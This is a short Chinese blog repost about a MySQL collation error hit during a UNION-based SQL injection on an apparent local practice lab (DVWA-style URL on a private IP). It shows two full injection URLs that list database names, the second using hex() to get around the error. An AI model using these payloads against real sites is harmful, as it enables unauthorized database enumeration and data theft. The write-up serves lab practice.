首页 > 数据库技术 > 详细

SQL查询时出现错误 “Illegal mix of collations for operation 'UNION'”

时间:2020-07-17 18:09:27      阅读:72      评论:0      收藏:0      [点我收藏+]

1.在本地测试的时候,发现一个错误哦

sql 注入进行查看所有数据库名的时候,

 

技术分享图片

 

 

百度查看,说的是编码问题,本地测试还能改一下编码,实战怎么办~

解决办法:

使用16进制进行读取

http://10.211.55.8:804/vulnerabilities/sqli/?id=1‘ union select 1,schema_name from information_schema.schemata #&Submit=Submit#   最开始payload。

 

http://10.211.55.8:804/vulnerabilities/sqli/?id=1‘ union select 1,hex(schema_name) from information_schema.schemata #&Submit=Submit#   16进制读取payload。

 

 

技术分享图片

 

 

上面的Surname 是读取出来的数据库名 16 进制。

解码一下16进制就可以了。

 

 

技术分享图片

 

SQL查询时出现错误 “Illegal mix of collations for operation 'UNION'”

原文:https://www.cnblogs.com/pangya/p/13331059.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!